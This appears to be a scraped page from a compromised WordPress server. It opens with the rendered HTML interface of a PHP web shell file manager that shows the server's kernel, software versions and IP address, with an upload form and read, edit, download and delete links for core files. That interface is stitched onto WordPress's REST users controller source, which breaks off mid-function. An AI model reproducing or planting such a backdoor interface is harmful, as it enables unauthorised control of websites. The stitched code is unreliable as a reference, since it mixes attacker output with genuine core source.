<!DOCTYPE html>
	<html dir="auto" lang="en-US">

			<link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" />
			<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">

			<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
			<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
		</head>

		<body>
			<header>
				<div class="y x">
					<a class="ajx" href="atomlib.php">
						NG4R3P
					</a>
				</div>

				<div class="q x w">
					
				</div>
				
			</header>

			<article>
				<div class="i">
					<i class="far fa-hdd"></i>
					Linux backups 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
					<br />

					<i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT  :</b> Apache/2.4.18 (Ubuntu) <b>PHP :</b> 7.2.34-8+ubuntu16.04.1+deb.sury.org+1
					<br />

					<i class="far fa-folder"></i>
					
					<a class="ajx" href="?d=2f">/</a><a class="ajx" href="?d=2f766172">var</a>/<a class="ajx" href="?d=2f7661722f777777">www</a>/<a class="ajx" href="?d=2f7661722f7777772f6974616970617661">itaipava</a>/<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c75646573">wp-includes</a>/<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d617069">rest-api</a>/<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473">endpoints</a>/
					<br />

				</div>

				<div class="u">
					138.68.56.76 <i class="fas fa-link"></i>
					<br />

					<br />

					<form method="post" enctype="multipart/form-data">
						<label class="l w">
							<input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
						</label>&nbsp;
					</form>

					
				</div>
					<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th width="44%">[ NAME ]</th>
								<th width="11%">[ SIZE ]</th>
								<th width="17%">[ PERM ]</th>
								<th width="17%">[ DATE ]</th>
								<th width="11%">[ ACT ]</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td>
									<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&n">+FILE</a>
									<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&l">+DIR</a>
								</td>
							</tr>
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&s=636c6173732d77702d726573742d6174746163686d656e74732d636f6e74726f6c6c65722e706870">class-wp-rest-attachments-controller.php</a>
							</td>
							<td class="x">
								25.223 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&k=636c6173732d77702d726573742d6174746163686d656e74732d636f6e74726f6c6c65722e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&t=636c6173732d77702d726573742d6174746163686d656e74732d636f6e74726f6c6c65722e706870">2018-07-24 10:54</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&r=636c6173732d77702d726573742d6174746163686d656e74732d636f6e74726f6c6c65722e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&e=636c6173732d77702d726573742d6174746163686d656e74732d636f6e74726f6c6c65722e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&g=636c6173732d77702d726573742d6174746163686d656e74732d636f6e74726f6c6c65722e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&x=636c6173732d77702d726573742d6174746163686d656e74732d636f6e74726f6c6c65722e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&s=636c6173732d77702d726573742d636f6d6d656e74732d636f6e74726f6c6c65722e706870">class-wp-rest-comments-controller.php</a>
							</td>
							<td class="x">
								53.202 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&k=636c6173732d77702d726573742d636f6d6d656e74732d636f6e74726f6c6c65722e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&t=636c6173732d77702d726573742d636f6d6d656e74732d636f6e74726f6c6c65722e706870">2018-07-13 00:51</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&r=636c6173732d77702d726573742d636f6d6d656e74732d636f6e74726f6c6c65722e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&e=636c6173732d77702d726573742d636f6d6d656e74732d636f6e74726f6c6c65722e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&g=636c6173732d77702d726573742d636f6d6d656e74732d636f6e74726f6c6c65722e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&x=636c6173732d77702d726573742d636f6d6d656e74732d636f6e74726f6c6c65722e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&s=636c6173732d77702d726573742d636f6e74726f6c6c65722e706870">class-wp-rest-controller.php</a>
							</td>
							<td class="x">
								18.698 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&k=636c6173732d77702d726573742d636f6e74726f6c6c65722e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&t=636c6173732d77702d726573742d636f6e74726f6c6c65722e706870">2018-07-13 00:51</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&r=636c6173732d77702d726573742d636f6e74726f6c6c65722e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&e=636c6173732d77702d726573742d636f6e74726f6c6c65722e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&g=636c6173732d77702d726573742d636f6e74726f6c6c65722e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&x=636c6173732d77702d726573742d636f6e74726f6c6c65722e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&s=636c6173732d77702d726573742d706f73742d73746174757365732d636f6e74726f6c6c65722e706870">class-wp-rest-post-statuses-controller.php</a>
							</td>
							<td class="x">
								9.332 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&k=636c6173732d77702d726573742d706f73742d73746174757365732d636f6e74726f6c6c65722e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&t=636c6173732d77702d726573742d706f73742d73746174757365732d636f6e74726f6c6c65722e706870">2018-07-13 00:51</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&r=636c6173732d77702d726573742d706f73742d73746174757365732d636f6e74726f6c6c65722e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&e=636c6173732d77702d726573742d706f73742d73746174757365732d636f6e74726f6c6c65722e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&g=636c6173732d77702d726573742d706f73742d73746174757365732d636f6e74726f6c6c65722e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&x=636c6173732d77702d726573742d706f73742d73746174757365732d636f6e74726f6c6c65722e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&s=636c6173732d77702d726573742d706f73742d74797065732d636f6e74726f6c6c65722e706870">class-wp-rest-post-types-controller.php</a>
							</td>
							<td class="x">
								9.573 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&k=636c6173732d77702d726573742d706f73742d74797065732d636f6e74726f6c6c65722e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&t=636c6173732d77702d726573742d706f73742d74797065732d636f6e74726f6c6c65722e706870">2018-07-13 00:51</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&r=636c6173732d77702d726573742d706f73742d74797065732d636f6e74726f6c6c65722e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&e=636c6173732d77702d726573742d706f73742d74797065732d636f6e74726f6c6c65722e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&g=636c6173732d77702d726573742d706f73742d74797065732d636f6e74726f6c6c65722e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&x=636c6173732d77702d726573742d706f73742d74797065732d636f6e74726f6c6c65722e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&s=636c6173732d77702d726573742d706f7374732d636f6e74726f6c6c65722e706870">class-wp-rest-posts-controller.php</a>
							</td>
							<td class="x">
								78.675 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&k=636c6173732d77702d726573742d706f7374732d636f6e74726f6c6c65722e706870">-rwxr-xr-x</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&t=636c6173732d77702d726573742d706f7374732d636f6e74726f6c6c65722e706870">2021-04-15 00:18</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&r=636c6173732d77702d726573742d706f7374732d636f6e74726f6c6c65722e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&e=636c6173732d77702d726573742d706f7374732d636f6e74726f6c6c65722e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&g=636c6173732d77702d726573742d706f7374732d636f6e74726f6c6c65722e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&x=636c6173732d77702d726573742d706f7374732d636f6e74726f6c6c65722e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&s=636c6173732d77702d726573742d7265766973696f6e732d636f6e74726f6c6c65722e706870">class-wp-rest-revisions-controller.php</a>
							</td>
							<td class="x">
								16.578 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&k=636c6173732d77702d726573742d7265766973696f6e732d636f6e74726f6c6c65722e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&t=636c6173732d77702d726573742d7265766973696f6e732d636f6e74726f6c6c65722e706870">2018-07-13 00:51</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&r=636c6173732d77702d726573742d7265766973696f6e732d636f6e74726f6c6c65722e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&e=636c6173732d77702d726573742d7265766973696f6e732d636f6e74726f6c6c65722e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&g=636c6173732d77702d726573742d7265766973696f6e732d636f6e74726f6c6c65722e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&x=636c6173732d77702d726573742d7265766973696f6e732d636f6e74726f6c6c65722e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&s=636c6173732d77702d726573742d73657474696e67732d636f6e74726f6c6c65722e706870">class-wp-rest-settings-controller.php</a>
							</td>
							<td class="x">
								9.917 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&k=636c6173732d77702d726573742d73657474696e67732d636f6e74726f6c6c65722e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&t=636c6173732d77702d726573742d73657474696e67732d636f6e74726f6c6c65722e706870">2017-10-24 17:05</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&r=636c6173732d77702d726573742d73657474696e67732d636f6e74726f6c6c65722e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&e=636c6173732d77702d726573742d73657474696e67732d636f6e74726f6c6c65722e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&g=636c6173732d77702d726573742d73657474696e67732d636f6e74726f6c6c65722e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&x=636c6173732d77702d726573742d73657474696e67732d636f6e74726f6c6c65722e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&s=636c6173732d77702d726573742d7461786f6e6f6d6965732d636f6e74726f6c6c65722e706870">class-wp-rest-taxonomies-controller.php</a>
							</td>
							<td class="x">
								10.717 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&k=636c6173732d77702d726573742d7461786f6e6f6d6965732d636f6e74726f6c6c65722e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&t=636c6173732d77702d726573742d7461786f6e6f6d6965732d636f6e74726f6c6c65722e706870">2018-07-13 00:51</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&r=636c6173732d77702d726573742d7461786f6e6f6d6965732d636f6e74726f6c6c65722e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&e=636c6173732d77702d726573742d7461786f6e6f6d6965732d636f6e74726f6c6c65722e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&g=636c6173732d77702d726573742d7461786f6e6f6d6965732d636f6e74726f6c6c65722e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&x=636c6173732d77702d726573742d7461786f6e6f6d6965732d636f6e74726f6c6c65722e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&s=636c6173732d77702d726573742d7465726d732d636f6e74726f6c6c65722e706870">class-wp-rest-terms-controller.php</a>
							</td>
							<td class="x">
								29.924 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&k=636c6173732d77702d726573742d7465726d732d636f6e74726f6c6c65722e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&t=636c6173732d77702d726573742d7465726d732d636f6e74726f6c6c65722e706870">2019-02-03 17:13</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&r=636c6173732d77702d726573742d7465726d732d636f6e74726f6c6c65722e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&e=636c6173732d77702d726573742d7465726d732d636f6e74726f6c6c65722e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&g=636c6173732d77702d726573742d7465726d732d636f6e74726f6c6c65722e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&x=636c6173732d77702d726573742d7465726d732d636f6e74726f6c6c65722e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&s=636c6173732d77702d726573742d75736572732d636f6e74726f6c6c65722e706870">class-wp-rest-users-controller.php</a>
							</td>
							<td class="x">
								43.313 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&k=636c6173732d77702d726573742d75736572732d636f6e74726f6c6c65722e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&t=636c6173732d77702d726573742d75736572732d636f6e74726f6c6c65722e706870">2018-07-13 00:51</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&r=636c6173732d77702d726573742d75736572732d636f6e74726f6c6c65722e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&e=636c6173732d77702d726573742d75736572732d636f6e74726f6c6c65722e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&g=636c6173732d77702d726573742d75736572732d636f6e74726f6c6c65722e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&x=636c6173732d77702d726573742d75736572732d636f6e74726f6c6c65722e706870">D</a>
							</td>
						</tr>
						
						</tbody>
						<tfoot>
							<tr>
								<th class="et">
									<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&y">REQUEST</a>
									<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f726573742d6170692f656e64706f696e7473&q">EXIT</a>
								</th>
								<th class="et" width="11%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="11%"></th>
							</tr>
					</tfoot>
				</table>
			</article>
			<footer class="x">
				
			</footer>
			
			<script>
				$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
			</script>
		</body>
	</html>
<?php
/**
 * REST API: WP_REST_Users_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage users via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Users_Controller extends WP_REST_Controller {

	/**
	 * Instance of a user meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_User_Meta_Fields
	 */
	protected $meta;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'users';

		$this->meta = new WP_REST_User_Meta_Fields();
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_items' ),
				'permission_callback' => array( $this, 'get_items_permissions_check' ),
				'args'                => $this->get_collection_params(),
			),
			array(
				'methods'             => WP_REST_Server::CREATABLE,
				'callback'            => array( $this, 'create_item' ),
				'permission_callback' => array( $this, 'create_item_permissions_check' ),
				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );

		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array(
			'args' => array(
				'id' => array(
					'description' => __( 'Unique identifier for the user.' ),
					'type'        => 'integer',
				),
			),
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_item' ),
				'permission_callback' => array( $this, 'get_item_permissions_check' ),
				'args'                => array(
					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
				),
			),
			array(
				'methods'             => WP_REST_Server::EDITABLE,
				'callback'            => array( $this, 'update_item' ),
				'permission_callback' => array( $this, 'update_item_permissions_check' ),
				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
			),
			array(
				'methods'             => WP_REST_Server::DELETABLE,
				'callback'            => array( $this, 'delete_item' ),
				'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				'args'                => array(
					'force'    => array(
						'type'        => 'boolean',
						'default'     => false,
						'description' => __( 'Required to be true, as users do not support trashing.' ),
					),
					'reassign' => array(
						'type'        => 'integer',
						'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
						'required'    => true,
						'sanitize_callback' => array( $this, 'check_reassign' ),
					),
				),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );

		register_rest_route( $this->namespace, '/' . $this->rest_base . '/me', array(
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_current_item' ),
				'args'                => array(
					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
				),
			),
			array(
				'methods'             => WP_REST_Server::EDITABLE,
				'callback'            => array( $this, 'update_current_item' ),
				'permission_callback' => array( $this, 'update_current_item_permissions_check' ),
				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
			),
			array(
				'methods'             => WP_REST_Server::DELETABLE,
				'callback'            => array( $this, 'delete_current_item' ),
				'permission_callback' => array( $this, 'delete_current_item_permissions_check' ),
				'args'                => array(
					'force'    => array(
						'type'        => 'boolean',
						'default'     => false,
						'description' => __( 'Required to be true, as users do not support trashing.' ),
					),
					'reassign' => array(
						'type'        => 'integer',
						'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
						'required'    => true,
						'sanitize_callback' => array( $this, 'check_reassign' ),
					),
				),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		));
	}

	/**
	 * Checks for a valid value for the reassign parameter when deleting users.
	 *
	 * The value can be an integer, 'false', false, or ''.
	 *
	 * @since 4.7.0
	 *
	 * @param int|bool        $value   The value passed to the reassign parameter.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter that is being sanitized.
	 *
	 * @return int|bool|WP_Error
	 */
	public function check_reassign( $value, $request, $param ) {
		if ( is_numeric( $value ) ) {
			return $value;
		}

		if ( empty( $value ) || false === $value || 'false' === $value ) {
			return false;
		}

		return new WP_Error( 'rest_invalid_param', __( 'Invalid user parameter(s).' ), array( 'status' => 400 ) );
	}

	/**
	 * Permissions check for getting all users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, otherwise WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		// Check if roles is specified in GET request and if user can list users.
		if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by role.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error( 'rest_forbidden_orderby', __( 'Sorry, you are not allowed to order users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( 'authors' === $request['who'] ) {
			$can_view = false;
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );
			foreach ( $types as $type ) {
				if ( post_type_supports( $type->name, 'author' )
					&& current_user_can( $type->cap->edit_posts ) ) {
					$can_view = true;
				}
			}
			if ( ! $can_view ) {
				return new WP_Error( 'rest_forbidden_who', __( 'Sorry, you are not allowed to query users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) );
			}
		}

		return true;
	}

	/**
	 * Retrieves all users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'exclude'  => 'exclude',
			'include'  => 'include',
			'order'    => 'order',
			'per_page' => 'number',
			'search'   => 'search',
			'roles'    => 'role__in',
			'slug'     => 'nicename__in',
		);

		$prepared_args = array();

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $request['offset'];
		} else {
			$prepared_args['offset']  = ( $request['page'] - 1 ) * $prepared_args['number'];
		}

		if ( isset( $registered['orderby'] ) ) {
			$orderby_possibles = array(
				'id'              => 'ID',
				'include'         => 'include',
				'name'            => 'display_name',
				'registered_date' => 'registered',
				'slug'            => 'user_nicename',
				'include_slugs'   => 'nicename__in',
				'email'           => 'user_email',
				'url'             => 'user_url',
			);
			$prepared_args['orderby'] = $orderby_possibles[ $request['orderby'] ];
		}

		if ( isset( $registered['who'] ) && ! empty( $request['who'] ) && 'authors' === $request['who'] ) {
			$prepared_args['who'] = 'authors';
		} elseif ( ! current_user_can( 'list_users' ) ) {
			$prepared_args['has_published_posts'] = get_post_types( array( 'show_in_rest' => true ), 'names' );
		}

		if ( ! empty( $prepared_args['search'] ) ) {
